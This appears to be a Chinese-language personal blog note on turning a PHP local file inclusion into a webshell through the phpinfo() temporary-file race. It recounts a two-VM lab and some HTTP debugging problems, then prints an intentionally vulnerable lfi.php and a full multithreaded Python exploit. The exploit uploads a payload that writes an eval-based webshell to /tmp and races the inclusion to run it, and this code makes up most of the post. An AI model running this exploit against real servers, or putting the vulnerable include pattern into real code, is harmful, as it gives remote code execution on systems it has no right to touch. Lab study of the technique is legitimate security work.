LFI(本地文件包含)獲取Webshell

      本地文件包含在Web滲透測試中時不時的會遇到。以前遇到本地文件包含的時候,最多就是證實一下:好比包含「/etc/passwd」。有利用本地文件包含來進行Getshell的,以前是略有耳聞的,這兩天看相關文章的時候,好奇一下本身搭環境實現了一遍。很老的技術了,看老外在2011年就寫了相關文章,不過文章中的Python程序是有問題的。我會在最後把本身修改的代碼分享出來。php

      關於原理能夠參照老外的這篇文章:html

      https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdfpython

      Freebuf上也有寫的很詳細的文章:web

      http://www.freebuf.com/articles/web/79830.htmlshell

      我遇到的幾個問題:ubuntu

      首先,遇到的問題是收到的HTTP請求,我在用Python本地打印的時候是一團亂碼。經過檢查HTTP首部的時候,發現我在POST Request的時候,加上了「Accept-Encoding: gzip, deflate」。返回的Response中內容部分都是gzip壓縮了。後來,我在Request的時候把「Accept-Encoding: gzip, deflate」刪掉了,這樣Response獲得的就是未壓縮的了。app

      其次,我在GET Request的時候,錯誤的組合了HTTP Header,在Wireshark抓包的時候,一直出現400 Bad Request。(參照源碼的緣故),最後發現這個坑,是老外給的Python源碼中組合GET Request有誤。從新組織GET Request以後,就OK了。socket

      在這裏,要稍微強調一下,組織Request的時候,必定要注意回車換行符(CRLF)。我以前不注意回車換行符,也致使最後的Exploit寫出來有問題。下面是我抓的幾個包:在首部和主體之間是有一個回車換行符的:測試

GET1

      注意上面選中的部分,這個回車換行符是必須有的。在它以後再增長也是沒有關係的,就算是加上內容也不要緊。由於GET請求中,主體中是沒有內容的,全部即便加上了內容,抓包的時候也不會顯示出來,可是在最下面的部分會體現出來。以下圖所示:ui

      多了一個回車換行符的狀況:

GET2

      主體部分有內容的狀況:

GET3

      看見沒,在Wireshark的數據包細節都是沒有體現出來的(由於增長的部分不符合GET Request的要求?我這麼以爲),而在最下面的數據包字節(原始數據包)體現出來了。

      場景重現:

      我在本地使用了兩臺虛擬機來進行場景重現。攻擊機爲Kali_X64_2.0,目標機爲ubuntu_14.04.1_Server_X64。目標機的/var/www/html下有phpinfo.php和lfi.php兩個文件。

      通過前期的實驗,發現PHP腳本處理POST請求時,會在/tmp下生成臨時文件。在實驗開始的時候,利用inotifywait命令來監控對tmp文件和目錄的訪問記錄。

      命令爲:inotifywait –m –r /tmp;運行截圖以下:

inotifywait1

      攻擊機運行寫的Exploit腳本,運行結果以下:

lfi_attack

      目標機inotifywait監控獲得的結果,部分截圖以下。(注意紅色框中內容,說明已經寫入SHELL成功了):

inotifywait

      源碼分享:

      phpinfo.php:

<?php
    phpinfo();
   ?>

      lfi.php:

<?php 
    require($_GET['load']);
   ?>

      lfi_attack.py:

#!/usr/bin/env python
# __author__ = 'ShadonSniper'

import sys
import threading
import socket
def setup(host, port):
    TAG="Locale File Include Vulns!!!"
    PAYLOAD="""%s\r\n<?php $c=fopen('/tmp/g.php','w');fwrite($c,'<?php eval($_GET["f"]);?>');?>\r\n""" % TAG
    REQ1_DATA="""-----------------------------68124396905382484903242131\r\n"""+\
         """Content-Disposition: form-data; name="userfile"; filename="test.txt"\r\n"""+\
         """Content-Type: text/plain\r\n"""+"""\r\n"""+\
         """%s\r\n-----------------------------68124396905382484903242131--""" % PAYLOAD
    padding="A" * 8000
    REQ1="""POST /phpinfo.php?a=%s HTTP/1.1\r\n"""%padding
    temp="""Host: %s\r\n"""%host
    REQ1 = REQ1+temp
    REQ1=REQ1+"""User-Agent: """+padding+"""\r\n"""+\
         """Accept: """+padding+"""\r\n"""+\
         """Accept-Language: """+padding+"""\r\n"""+\
         """Accept-Encoding: """+padding+"""\r\n"""+\
         """Connection: keep-alive\r\n"""+\
         """Content-Type: multipart/form-data; boundary=---------------------------68124396905382484903242131\r\n"""
    REQ1=REQ1+"""Content-Length: %s\r\n\r\n"""%(len(REQ1_DATA))
    REQ1=REQ1+"""%s"""%REQ1_DATA
    #modify this to suit the LFI script
    LFIREQ="""GET /lfi.php?load=%s HTTP/1.1\r\n"""+\
        """Host: %s\r\n"""+\
        """User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.1\r\n"""+\
        """Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"""+\
        """Accept-Language: en-US,en;q=0.5\r\n"""+\
        """Connection: keep-alive\r\n\r\n"""

    #print REQ1
    return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt")
        fn = d[i+17:i+31]
        #print fn
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1
            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()

            except socket.error:
                return

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():
    print "LFI With PHPInfo()"
    print "-=" * 30
    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)
    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)
    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot! \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()
if __name__=="__main__":
    main()

      好了,記個筆記,加深印象。

相關文章
相關標籤/搜索